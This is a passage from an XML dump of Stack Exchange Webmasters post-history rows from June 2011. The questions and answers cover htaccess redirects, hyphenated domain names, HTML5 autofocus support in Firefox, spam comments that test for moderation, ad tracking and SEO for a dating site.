  <row Id="35358" PostHistoryTypeId="10" PostId="15011" RevisionGUID="6696e425-6f81-4500-a39d-415273b2e02d" CreationDate="2011-06-09T11:49:42.377" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35359" PostHistoryTypeId="5" PostId="2844" RevisionGUID="bb2f223f-b033-4f10-a6bd-cf70b697b250" CreationDate="2011-06-09T11:52:08.227" UserId="1253" Comment="deleted 10 characters in body; edited tags" Text="Could you please advise me of a bulletin board engine that is based in Java? And for its scripting language, either JSP or JSF.&#xD;&#xA;&#xD;&#xA;I'd also prefer it to use Spring, Hibernate and/or other frameworks.&#xD;&#xA;&#xD;&#xA;It would be better, still, if it's free.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35360" PostHistoryTypeId="6" PostId="2844" RevisionGUID="bb2f223f-b033-4f10-a6bd-cf70b697b250" CreationDate="2011-06-09T11:52:08.227" UserId="1253" Comment="deleted 10 characters in body; edited tags" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;&lt;community-management&gt;" />
  <row Id="35361" PostHistoryTypeId="25" PostId="14957" RevisionGUID="dfe8ccec-be4c-40a2-bbea-f8a88a37337c" CreationDate="2011-06-09T12:15:30.050" Comment="http://twitter.com/#!/StackWebmasters/status/78797361832407041" />
  <row Id="35362" PostHistoryTypeId="17" PostId="15016" RevisionGUID="66356d2d-c2a4-48ae-94dd-7015cb8f18d5" CreationDate="2011-06-09T12:37:55.203" UserId="-1" Comment="from http://stackoverflow.com/questions/6277003/mod-rewrite-rule-question-help" Text="" />
  <row Id="35363" PostHistoryTypeId="17" PostId="15017" RevisionGUID="5f3bb2d5-0ced-49dd-847b-9d08a0b0ca16" CreationDate="2011-06-09T12:37:55.203" UserId="-1" Comment="from http://stackoverflow.com/questions/6277003/mod-rewrite-rule-question-help" Text="" />
  <row Id="35364" PostHistoryTypeId="17" PostId="15018" RevisionGUID="050df898-be60-4724-b4f1-59001537c0c4" CreationDate="2011-06-09T12:37:55.203" UserId="-1" Comment="from http://stackoverflow.com/questions/6277003/mod-rewrite-rule-question-help" Text="" />
  <row Id="35365" PostHistoryTypeId="2" PostId="15017" RevisionGUID="29ff842a-de8d-4e56-a25e-23dd136f7d06" CreationDate="2011-06-08T12:10:49.633" UserId="5694" Text="I guess, following 3 RewriteConds are not necessary, you can remove them:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5}|/)$&#xD;&#xA;&#xD;&#xA;To redirect the root and index.php to /welcome-to-my-website/ you can use this:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(|index\.php)$ http://www.mysite.co.uk/welcome-to-my-website/ [L,R=301]" />
  <row Id="35366" PostHistoryTypeId="2" PostId="15018" RevisionGUID="5a029f9b-bb16-44b4-a370-0a4dd72760d8" CreationDate="2011-06-09T10:54:53.290" UserId="8123" Text="The following code redirects a user if index.php or root of a website is typed into the browser. If anyone can refine the following any further, please let us know. I really hope this helps someone save a lot of time and their sanity:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /(|index\.php)\ HTTP/&#xD;&#xA;    RewriteRule ^(|index\.php)$ http://%{HTTP_HOST}/welcome-to-my-website/ [R=301,L]" />
  <row Id="35367" PostHistoryTypeId="2" PostId="15016" RevisionGUID="c9fbd7f4-1e3f-440b-95f7-59979eca25fd" CreationDate="2011-06-08T09:55:14.350" UserId="8123" Text="I have the following ruleset in my .htaccess file which basically rewrites my php pages and makes them appear as subfolders, so for example, `http://www.mysite.co.uk/about-me/` points to `http://www.mysite.co.uk/about.php`:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www.mysite.co.uk$ [NC]&#xD;&#xA;    RewriteRule ^(.*)$ http://www.mysite.co.uk/$1 [R=301,NC,L]&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5}|/)$&#xD;&#xA;&#xD;&#xA;    RewriteRule ^index.php$ /welcome-to-my-website/ [L,R=301,NC]&#xD;&#xA;    ReWriteRule ^welcome-to-my-website/$ index.php [NC,L]&#xD;&#xA;    ReWriteRule ^about-me/$ about.php [NC,L]&#xD;&#xA;    ReWriteRule ^my-portfolio/$ portfolio.php [NC,L]&#xD;&#xA;    ReWriteRule ^contact-us/$ contact.php [NC,L]&#xD;&#xA;&#xD;&#xA;What I want to do is to automatically forward/redirect the root - http://www.mysite.co.uk/ - and the index.php page straight to /welcome-to-my-website/ via htaccess so that there is no duplicate content. Any idea how one may achieve this?" />
  <row Id="35368" PostHistoryTypeId="1" PostId="15016" RevisionGUID="c9fbd7f4-1e3f-440b-95f7-59979eca25fd" CreationDate="2011-06-08T09:55:14.350" UserId="8123" Text="Mod rewrite rule question/help" />
  <row Id="35369" PostHistoryTypeId="3" PostId="15016" RevisionGUID="c9fbd7f4-1e3f-440b-95f7-59979eca25fd" CreationDate="2011-06-08T09:55:14.350" UserId="8123" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;redirects&gt;" />
  <row Id="35370" PostHistoryTypeId="17" PostId="15019" RevisionGUID="8f5a5c26-334d-4135-a712-92b1059fc899" CreationDate="2011-06-09T13:09:54.683" UserId="-1" Comment="from http://stackoverflow.com/questions/6293223/using-a-hyphen-in-the-domain-name" Text="" />
  <row Id="35371" PostHistoryTypeId="2" PostId="15019" RevisionGUID="39455048-d63c-489e-817c-9f9e93ae1a30" CreationDate="2011-06-09T13:05:22.440" UserDisplayName="iancrowther" Text="I am looking to buy a domain where the obvious choices have already been purchased.  &#xD;&#xA;&#xD;&#xA;eg. domaintest.com or domaintest.co.uk&#xD;&#xA;&#xD;&#xA;So, I am looking to mix things up a little with a hyphen.&#xD;&#xA;&#xD;&#xA;eg. domain-test.com or domain-test.co.uk &#xD;&#xA;&#xD;&#xA;I have been looking around the web &amp; stack to get a solid picture of why or why not to use hyphens in the domain and am a little confused.&#xD;&#xA;&#xD;&#xA;The key factors for me are usability (can users remember the domain, can they type it easily on a phone etc..) and seo.&#xD;&#xA;&#xD;&#xA;Any pointers would be great.&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;Ian" />
  <row Id="35372" PostHistoryTypeId="1" PostId="15019" RevisionGUID="39455048-d63c-489e-817c-9f9e93ae1a30" CreationDate="2011-06-09T13:05:22.440" UserDisplayName="iancrowther" Text="Using a hyphen in the domain name" />
  <row Id="35373" PostHistoryTypeId="3" PostId="15019" RevisionGUID="39455048-d63c-489e-817c-9f9e93ae1a30" CreationDate="2011-06-09T13:05:22.440" UserDisplayName="iancrowther" Text="&lt;url&gt;&lt;seo&gt;&lt;domains&gt;&lt;usability&gt;" />
  <row Id="35374" PostHistoryTypeId="5" PostId="15019" RevisionGUID="612e22a6-d360-40c4-9c32-3e5dc323e5b5" CreationDate="2011-06-09T13:11:28.547" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is it better to put hyphens in a domain name ?](http://webmasters.stackexchange.com/questions/410/is-it-better-to-put-hyphens-in-a-domain-name)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am looking to buy a domain where the obvious choices have already been purchased.  &#xD;&#xA;&#xD;&#xA;eg. domaintest.com or domaintest.co.uk&#xD;&#xA;&#xD;&#xA;So, I am looking to mix things up a little with a hyphen.&#xD;&#xA;&#xD;&#xA;eg. domain-test.com or domain-test.co.uk &#xD;&#xA;&#xD;&#xA;I have been looking around the web &amp; stack to get a solid picture of why or why not to use hyphens in the domain and am a little confused.&#xD;&#xA;&#xD;&#xA;The key factors for me are usability (can users remember the domain, can they type it easily on a phone etc..) and seo.&#xD;&#xA;&#xD;&#xA;Any pointers would be great.&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;Ian" />
  <row Id="35375" PostHistoryTypeId="10" PostId="15019" RevisionGUID="9b72efad-3e90-4013-9f35-5de29430531c" CreationDate="2011-06-09T13:11:27.517" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35376" PostHistoryTypeId="2" PostId="15020" RevisionGUID="f5350654-cfa7-4828-b42b-e556aa543821" CreationDate="2011-06-09T13:22:32.730" UserId="7481" Text="    &lt;INPUT TYPE=TEXT NAME=&quot;Gw&quot; MAXLENGTH=&quot;225&quot; size=&quot;42&quot; autofocus=&quot;autofocus&quot;&gt;&#xD;&#xA;&#xD;&#xA;If I try this with Google Chrome it works. I just want to highlight a form without &lt;script&gt;.&#xD;&#xA;&#xD;&#xA;Are there any methods for it?&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="35377" PostHistoryTypeId="1" PostId="15020" RevisionGUID="f5350654-cfa7-4828-b42b-e556aa543821" CreationDate="2011-06-09T13:22:32.730" UserId="7481" Text="Why doesn't Mozilla Firefox knows autofocus=&quot;autofocus&quot; ?" />
  <row Id="35378" PostHistoryTypeId="3" PostId="15020" RevisionGUID="f5350654-cfa7-4828-b42b-e556aa543821" CreationDate="2011-06-09T13:22:32.730" UserId="7481" Text="&lt;forms&gt;" />
  <row Id="35379" PostHistoryTypeId="5" PostId="15020" RevisionGUID="a88de3cf-3ad4-49d2-8ff6-2c901c39e74a" CreationDate="2011-06-09T13:24:09.420" UserId="1643" Comment="added 2 characters in body" Text="    &lt;INPUT TYPE=TEXT NAME=&quot;Gw&quot; MAXLENGTH=&quot;225&quot; size=&quot;42&quot; autofocus=&quot;autofocus&quot;&gt;&#xD;&#xA;&#xD;&#xA;If I try this with Google Chrome it works. I just want to highlight a form without `&lt;script&gt;`.&#xD;&#xA;&#xD;&#xA;Are there any methods for it?&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="35380" PostHistoryTypeId="2" PostId="15021" RevisionGUID="712a8c98-e161-4155-b632-312a0fe7bc9c" CreationDate="2011-06-09T13:25:46.090" UserId="1253" Text="It should work in Firefox 4. But if you're using an older version of Firefox it won't work as the autofocus attribute is new to HTML5 which only gained broad support in Firefox 4..&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35381" PostHistoryTypeId="2" PostId="15022" RevisionGUID="455fcfa8-89fe-4d6b-910b-1b15e80db632" CreationDate="2011-06-09T13:38:40.917" UserId="6033" Text="You may be seeing the initial stage of a spammer. Spammers sometimes try to build reputation by making seemingly harmless posts increasing their post count, reputation, geek score, how ever trust is gained in the particular format. Then after building a reputation they make subtle posts about a particular product, brand, or other spam link." />
  <row Id="35382" PostHistoryTypeId="5" PostId="15020" RevisionGUID="c113dc9d-5216-42bf-8de4-50e37ca0f520" CreationDate="2011-06-09T13:45:51.837" UserId="1253" Comment="modified tags" Text="    &lt;INPUT TYPE=TEXT NAME=&quot;Gw&quot; MAXLENGTH=&quot;225&quot; size=&quot;42&quot; autofocus=&quot;autofocus&quot;&gt;&#xD;&#xA;&#xD;&#xA;If I try this with Google Chrome it works. I just want to highlight a form without `&lt;script&gt;`.&#xD;&#xA;&#xD;&#xA;Why doesn't it work?&#xD;&#xA;" />
  <row Id="35383" PostHistoryTypeId="4" PostId="15020" RevisionGUID="c113dc9d-5216-42bf-8de4-50e37ca0f520" CreationDate="2011-06-09T13:45:51.837" UserId="1253" Comment="modified tags" Text="Why doesn't autofocus=&quot;autofocus&quot; work in Mozilla Firefox?" />
  <row Id="35384" PostHistoryTypeId="6" PostId="15020" RevisionGUID="c113dc9d-5216-42bf-8de4-50e37ca0f520" CreationDate="2011-06-09T13:45:51.837" UserId="1253" Comment="modified tags" Text="&lt;html5&gt;&lt;firefox&gt;&lt;forms&gt;" />
  <row Id="35385" PostHistoryTypeId="2" PostId="15023" RevisionGUID="d8924dda-d10d-4a85-819c-bcf8443100ff" CreationDate="2011-06-09T13:54:56.450" UserId="7198" Text="It's wise to use `autofocus` with a JavaScript fallback for browsers that don't support it. From Mark Pilgrim's [Dive into HTML5 Forms](http://diveintohtml5.org/forms.html):&#xD;&#xA;&#xD;&#xA;&gt; What’s that? You say you want your&#xD;&#xA;&gt; autofocus fields to work in all&#xD;&#xA;&gt; browsers, not just these fancy-pants&#xD;&#xA;&gt; HTML5 browsers? You can keep your&#xD;&#xA;&gt; current autofocus script. Just make&#xD;&#xA;&gt; two small changes:   &#xD;&#xA;&#xD;&#xA;&gt; 1. Add the autofocus attribute to your HTML markup&#xD;&#xA;&gt; 2. Detect whether the browser supports&#xD;&#xA;&gt; the autofocus attribute, and only run&#xD;&#xA;&gt; your own autofocus script if the&#xD;&#xA;&gt; browser doesn’t support autofocus&#xD;&#xA;&gt; natively.&#xD;&#xA;&#xD;&#xA;    &lt;form name=&quot;f&quot;&gt;&#xD;&#xA;      &lt;input id=&quot;q&quot; type=&quot;text&quot; name=&quot;Gw&quot; maxlength=&quot;225&quot; size=&quot;42&quot; autofocus&gt;&#xD;&#xA;      &lt;script&gt;&#xD;&#xA;        if (!(&quot;autofocus&quot; in document.createElement(&quot;input&quot;))) {&#xD;&#xA;          document.getElementById(&quot;q&quot;).focus();&#xD;&#xA;        }&#xD;&#xA;      &lt;/script&gt;&#xD;&#xA;      &lt;input type=&quot;submit&quot; value=&quot;Go&quot;&gt;&#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;&#xD;&#xA;[Live demo here.](http://jsfiddle.net/rhWpc/)&#xD;&#xA;" />
  <row Id="35386" PostHistoryTypeId="2" PostId="15024" RevisionGUID="b5f785a0-9767-4ee3-aa7e-6f64fbd5ad0b" CreationDate="2011-06-09T14:05:05.730" UserId="7198" Text="They are testing to see if your site's set up to require moderator approval of comments.&#xD;&#xA;&#xD;&#xA;If a comment with their uniquely spelt word appears on your page immediately after submission, they know there's no human moderator approving comments from new contributors, which makes the site more vulnerable to spam.&#xD;&#xA;&#xD;&#xA;Also, the default WordPress behaviour for comments from new contributors is that they require moderator approval. If you approve their (seemingly harmless) first comment, subsequent link-ridden comments they submit will be automatically approved." />
  <row Id="35387" PostHistoryTypeId="2" PostId="15025" RevisionGUID="df31f9d5-820e-4fdc-8945-831895214b3d" CreationDate="2011-06-09T14:16:56.223" UserId="8009" Text="Spammer's bots testing to see if you've got any kind of comment moderation system in place. If yes, you probably won't hear anything more from them... if no, wait for the spam link invasion, or better still, activate said moderation." />
  <row Id="35388" PostHistoryTypeId="2" PostId="15026" RevisionGUID="2571db13-fa9c-46a7-a3bc-fa15a96c013f" CreationDate="2011-06-09T14:37:06.100" UserId="8128" Text="There are plenty of whitepapers on this subject on www.tagman.com under 'business case'." />
  <row Id="35389" PostHistoryTypeId="2" PostId="15027" RevisionGUID="f36e80a8-a599-4b9b-b6f7-4b93991174f8" CreationDate="2011-06-09T14:51:18.220" UserId="7962" Text="I'm working for a company that is beginning with online advertisement and the following challenge was set:&#xD;&#xA;&#xD;&#xA;**How can you monitor the effectivess of the advertisement in actual sales?**&#xD;&#xA;&#xD;&#xA;**Further details**&#xD;&#xA;&#xD;&#xA; - The company doesn't sell anything online yet.&#xD;&#xA; - The banner ad we're working on would link to their online catalog." />
  <row Id="35390" PostHistoryTypeId="1" PostId="15027" RevisionGUID="f36e80a8-a599-4b9b-b6f7-4b93991174f8" CreationDate="2011-06-09T14:51:18.220" UserId="7962" Text="Monitoring online advertisement" />
  <row Id="35391" PostHistoryTypeId="3" PostId="15027" RevisionGUID="f36e80a8-a599-4b9b-b6f7-4b93991174f8" CreationDate="2011-06-09T14:51:18.220" UserId="7962" Text="&lt;advertising&gt;&lt;monitoring&gt;&lt;online&gt;" />
  <row Id="35392" PostHistoryTypeId="2" PostId="15028" RevisionGUID="4284665c-9e6f-42fb-b03f-fcf86b521ea3" CreationDate="2011-06-09T15:01:42.520" UserId="1253" Text="You can use [Google Analytic's Campaign Tracking][1] for that banner ad which will allow you to get specific information about users who click on that ad. It can't tell you who is actually buying anything since the sales occur offline but if they do eventually sell goods online that can be tracked as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/googleanalytics/bin/answer.py?hl=en&amp;answer=55540" />
  <row Id="35393" PostHistoryTypeId="2" PostId="15029" RevisionGUID="a78984ff-4f9e-4b24-ac86-82efe9fdbcfa" CreationDate="2011-06-09T15:04:50.013" UserId="7962" Text="Try asking the webhost client support if they can host the website you've built. It's a good way to tell if they have a good customer support and you got nothing to lose." />
  <row Id="35394" PostHistoryTypeId="25" PostId="15027" RevisionGUID="2557de82-302f-44ff-89e2-947cd23f5990" CreationDate="2011-06-09T15:15:31.143" Comment="http://twitter.com/#!/StackWebmasters/status/78842665432653825" />
  <row Id="35395" PostHistoryTypeId="2" PostId="15030" RevisionGUID="87386490-9c1d-4c88-a249-6f97664eee5c" CreationDate="2011-06-09T16:12:59.453" UserId="8130" Text="Support for *mysqli* should be quite common as far as i know, surely it's not a mistake to use it. Lately i was looking for a provider myself, i asked for the possibility to see a phpinfo() of a server - and got it!&#xD;&#xA;&#xD;&#xA;Recommending a hoster would not help you very much, because you will probably want a provider in your country?" />
  <row Id="35396" PostHistoryTypeId="2" PostId="15031" RevisionGUID="ea668f0d-38a1-49de-85ab-fb3d645e5cac" CreationDate="2011-06-09T16:57:21.653" UserId="6913" Text="I have a members only site running wordpress and a stock images gallery running an old php gallery cms. I want the members to only have to login once but I want to protect the gallery from the general public. I trust my members so I don't need anything spectacularly secure. I was thinking about using an iframe that auto logs into the gallery folder via http auth. Is this possible (if so how) or is there a better method?" />
  <row Id="35397" PostHistoryTypeId="1" PostId="15031" RevisionGUID="ea668f0d-38a1-49de-85ab-fb3d645e5cac" CreationDate="2011-06-09T16:57:21.653" UserId="6913" Text="http auth an iframe automatically so users don't have to login?" />
  <row Id="35398" PostHistoryTypeId="3" PostId="15031" RevisionGUID="ea668f0d-38a1-49de-85ab-fb3d645e5cac" CreationDate="2011-06-09T16:57:21.653" UserId="6913" Text="&lt;authentication&gt;" />
  <row Id="35400" PostHistoryTypeId="2" PostId="15032" RevisionGUID="07079dbe-1d41-4dbc-900e-e8746587cad9" CreationDate="2011-06-09T17:22:31.623" UserId="4180" Text="How should i rewrite my urls for my site?&#xD;&#xA;&#xD;&#xA;I have some variants, but i don't know what is the best one:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    example.com/sample-article-name_2/&#xD;&#xA;    &#xD;&#xA;    example.com/sample-article-name/2/&#xD;&#xA;    &#xD;&#xA;    example.com/2/sample-article-name/&#xD;&#xA;    &#xD;&#xA;    example.com/sample-article-name-2.html&#xD;&#xA;    &#xD;&#xA;    example.com/sample-article-name_2.html&#xD;&#xA;&#xD;&#xA;Can you advice me?&#xD;&#xA;&#xD;&#xA;Which is the best variant?&#xD;&#xA;" />
  <row Id="35401" PostHistoryTypeId="1" PostId="15032" RevisionGUID="07079dbe-1d41-4dbc-900e-e8746587cad9" CreationDate="2011-06-09T17:22:31.623" UserId="4180" Text="SEO: How should i rewrite my urls for my site?" />
  <row Id="35402" PostHistoryTypeId="3" PostId="15032" RevisionGUID="07079dbe-1d41-4dbc-900e-e8746587cad9" CreationDate="2011-06-09T17:22:31.623" UserId="4180" Text="&lt;seo&gt;&lt;mod-rewrite&gt;&lt;seo-friendly&gt;" />
  <row Id="35403" PostHistoryTypeId="5" PostId="15032" RevisionGUID="eaaeee08-44ac-4b53-baea-4d21448f335c" CreationDate="2011-06-09T17:32:16.623" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Good Practice for Formatting SEO-Friendly URLs?](http://webmasters.stackexchange.com/questions/3887/good-practice-for-formatting-seo-friendly-urls)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;How should i rewrite my urls for my site?&#xD;&#xA;&#xD;&#xA;I have some variants, but i don't know what is the best one:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    example.com/sample-article-name_2/&#xD;&#xA;    &#xD;&#xA;    example.com/sample-article-name/2/&#xD;&#xA;    &#xD;&#xA;    example.com/2/sample-article-name/&#xD;&#xA;    &#xD;&#xA;    example.com/sample-article-name-2.html&#xD;&#xA;    &#xD;&#xA;    example.com/sample-article-name_2.html&#xD;&#xA;&#xD;&#xA;Can you advice me?&#xD;&#xA;&#xD;&#xA;Which is the best variant?&#xD;&#xA;" />
  <row Id="35404" PostHistoryTypeId="10" PostId="15032" RevisionGUID="109ebfa4-dec3-4c3a-9f2e-4674de097892" CreationDate="2011-06-09T17:32:15.623" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35405" PostHistoryTypeId="25" PostId="15020" RevisionGUID="f595d117-f565-4169-a566-526f11039993" CreationDate="2011-06-09T18:16:25.463" Comment="http://twitter.com/#!/StackWebmasters/status/78888191381356544" />
  <row Id="35406" PostHistoryTypeId="2" PostId="15033" RevisionGUID="3c9f4001-ff02-4899-9f2e-9c70927d1bff" CreationDate="2011-06-09T18:28:59.497" UserId="4053" Text="i am running the [social dating website][1] Latte42 and i can't seem to rank for the Keywords I'm after. I want to rank for things like &quot;meet new people&quot;, &quot;find friends&quot; but somehow rank for things like &quot;starbucks&quot; and several other Cafe and Places because i have a index where you can chose from places to meet people.  &#xD;&#xA;I also rank for keywords like &quot;31 years old&quot; it's because google does index pages like user profiles.  &#xD;&#xA;&#xD;&#xA;- My question is, should i prevent google from indexing such pages and profiles?&#xD;&#xA;- Would that make the &quot;other&quot; keywords i want to index more relevant?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.latte42.com" />
  <row Id="35407" PostHistoryTypeId="1" PostId="15033" RevisionGUID="3c9f4001-ff02-4899-9f2e-9c70927d1bff" CreationDate="2011-06-09T18:28:59.497" UserId="4053" Text="SEO Tweaking dating website / user profiles" />
  <row Id="35408" PostHistoryTypeId="3" PostId="15033" RevisionGUID="3c9f4001-ff02-4899-9f2e-9c70927d1bff" CreationDate="2011-06-09T18:28:59.497" UserId="4053" Text="&lt;seo&gt;&lt;google&gt;&lt;indexing&gt;" />
  <row Id="35409" PostHistoryTypeId="5" PostId="15033" RevisionGUID="435704f3-391e-49c6-919e-88f50bd81840" CreationDate="2011-06-09T18:34:07.623" UserId="1253" Comment="deleted 45 characters in body" Text="i am running the social dating website called Latte42 and i can't seem to rank for the Keywords I'm after. I want to rank for things like &quot;meet new people&quot;, &quot;find friends&quot; but somehow rank for things like &quot;starbucks&quot; and several other Cafe and Places because i have a index where you can chose from places to meet people.  &#xD;&#xA;I also rank for keywords like &quot;31 years old&quot; it's because google does index pages like user profiles.  &#xD;&#xA;&#xD;&#xA;- My question is, should i prevent google from indexing such pages and profiles?&#xD;&#xA;- Would that make the &quot;other&quot; keywords i want to index more relevant?  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="35410" PostHistoryTypeId="2" PostId="15034" RevisionGUID="1df0e342-2aa9-4cc6-a838-4c05a18f3adb" CreationDate="2011-06-09T18:46:52.030" UserId="1253" Text="&gt;My question is, should i prevent google from indexing such pages and profiles?&#xD;&#xA;&#xD;&#xA;No. Every page you have indexed is another way for people to find you in search. Being visible for long tail search phrases isn't a bad thing. Their volume can really add up.&#xD;&#xA;&#xD;&#xA;&gt;Would that make the &quot;other&quot; keywords i want to index more relevant?&#xD;&#xA;&#xD;&#xA;No. You don't rank well for those phrases because you aren't relevant enough for those terms. Just because you rank well for one term it doesn't preclude you from ranking well for another term. A page can rank well for &quot;social dating&quot; and &quot;meet new people&quot; at the same time.&#xD;&#xA;&#xD;&#xA;So, if you're not ranking well for those broader and more popular phrases, it's because there is more competition and they are ahead of you in the SEO game. The more sites competing for a search term the more difficult it is going to be to rank well for it. &#xD;&#xA;&#xD;&#xA;If you want to rank well for those terms you will need to make sure your pages are optimized and you need to acquire quality incoming links to your pages. Pages from related sites that rank well is ideal but any site related to yours is good to have.&#xD;&#xA;&#xD;&#xA;If you want to make sure your site is properly optimized read up on [SEO on this website][1]. If you have any specific questions about SEO that hasn't been covered here yet definitely ask and we'll point you in the right direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/tagged/seo?sort=votes&amp;pagesize=50" />
  <row Id="35411" PostHistoryTypeId="5" PostId="15034" RevisionGUID="d469f5f7-8c45-47e7-98d5-3930d20bf41e" CreationDate="2011-06-09T18:54:25.600" UserId="1253" Comment="added 254 characters in body" Text="&gt;My question is, should i prevent google from indexing such pages and profiles?&#xD;&#xA;&#xD;&#xA;No. Every page you have indexed is another way for people to find you in search. Being visible for long tail search phrases isn't a bad thing. Their volume can really add up.&#xD;&#xA;&#xD;&#xA;Not to mention every page Google finds to your site is another page where it can count links for your pages. Internal linking is often overlooked and can have an impact on rankings. PageRank is passed and anchor text in these links can only help you.&#xD;&#xA;&#xD;&#xA;&gt;Would that make the &quot;other&quot; keywords i want to index more relevant?&#xD;&#xA;&#xD;&#xA;No. You don't rank well for those phrases because you aren't relevant enough for those terms. Just because you rank well for one term it doesn't preclude you from ranking well for another term. A page can rank well for &quot;social dating&quot; and &quot;meet new people&quot; at the same time.&#xD;&#xA;&#xD;&#xA;So, if you're not ranking well for those broader and more popular phrases, it's because there is more competition and they are ahead of you in the SEO game. The more sites competing for a search term the more difficult it is going to be to rank well for it. &#xD;&#xA;&#xD;&#xA;If you want to rank well for those terms you will need to make sure your pages are optimized and you need to acquire quality incoming links to your pages. Pages from related sites that rank well is ideal but any site related to yours is good to have.&#xD;&#xA;&#xD;&#xA;If you want to make sure your site is properly optimized read up on [SEO on this website][1]. If you have any specific questions about SEO that hasn't been covered here yet definitely ask and we'll point you in the right direction.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/tagged/seo?sort=votes&amp;pagesize=50" />
  <row Id="35412" PostHistoryTypeId="6" PostId="15033" RevisionGUID="17d4404f-f77e-4be7-90ac-db74ce34ecbe" CreationDate="2011-06-09T18:54:45.040" UserId="1253" Comment="modified tags" Text="&lt;seo&gt;&lt;google&gt;&lt;page-ranking&gt;" />
  <row Id="35413" PostHistoryTypeId="2" PostId="15035" RevisionGUID="51bdfd61-99e1-4ae9-ae42-88addf68b06e" CreationDate="2011-06-09T19:26:39.003" UserId="8134" Text="I'm really a newbie about this issues so excuse me if this is a rather dumb question, I'm trying to point a domain a client of mine bought to a sub-domain of mine, they're both from different companies, I'm not looking for a redirect but instead let's say his domain is www.clientdomain.com and mine is www.mydoamin.com I need to point dev.clientdomain.com to test.mydomain.com for example keeping the URL as it is, so when I visit the 'about' page it'd be dev.clientdomain.com/about instead of test.mydomain.com/about.&#xD;&#xA;&#xD;&#xA;I hope it makes some sense, I have seen this done before but have no idea if its using .htaccess files or changing some configuration options in the host control panel, if so I assume each host has their way of doing this so a general example would be great to point me in the right direction.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="35414" PostHistoryTypeId="1" PostId="15035" RevisionGUID="51bdfd61-99e1-4ae9-ae42-88addf68b06e" CreationDate="2011-06-09T19:26:39.003" UserId="8134" Text="How to point a domain to another subdomain?" />
  <row Id="35415" PostHistoryTypeId="3" PostId="15035" RevisionGUID="51bdfd61-99e1-4ae9-ae42-88addf68b06e" CreationDate="2011-06-09T19:26:39.003" UserId="8134" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;domain-names&gt;&lt;subdomain&gt;&lt;nameserver&gt;" />
  <row Id="35416" PostHistoryTypeId="2" PostId="15036" RevisionGUID="3a21f4b2-4df3-4b34-940c-daadc4a12586" CreationDate="2011-06-09T19:32:39.700" UserId="4142" Text="One of my favorite handwriting fonts is [League Script #1][1] - which is also conveniently open source.&#xD;&#xA;&#xD;&#xA;It's a very flowing font, so it might not be suitable for masculine styles.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.theleagueofmoveabletype.com/fonts/15-league-script-1" />
  <row Id="35417" PostHistoryTypeId="17" PostId="15037" RevisionGUID="54af134b-9fd3-4dc5-bf31-00c1b5ccb16f" CreationDate="2011-06-09T19:35:29.760" UserId="-1" Comment="from http://stackoverflow.com/questions/6297373/htaccess-301-redirect-with-uri" Text="" />
  <row Id="35418" PostHistoryTypeId="2" PostId="15038" RevisionGUID="a6704908-fd4d-4d4f-ad0b-fe9db4033509" CreationDate="2011-06-09T18:20:21.967" UserId="5694" Text="You can put this into the root's .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule ^photogallery/(.*)$ http://photos.site.com/$1 [L,R=301,QSA]" />
  <row Id="35419" PostHistoryTypeId="2" PostId="15037" RevisionGUID="557d86b4-8218-4ad4-a632-531dce041d0e" CreationDate="2011-06-09T18:17:15.910" UserDisplayName="Daniel S" Text="How can I write a .htaccess mod_rewrite rule to redirect all traffic to a specific subfolder to a different subdomain, but include all the trailing URI and url structure and in a SEO friendly way. &#xD;&#xA;&#xD;&#xA;ie. &#xD;&#xA;&#xD;&#xA;www.site.com/photogallery/2010/January-Spring-Photos/&#xD;&#xA;&#xD;&#xA;-to-&#xD;&#xA;&#xD;&#xA;photos.site/2010/January-Spring-Photos/" />
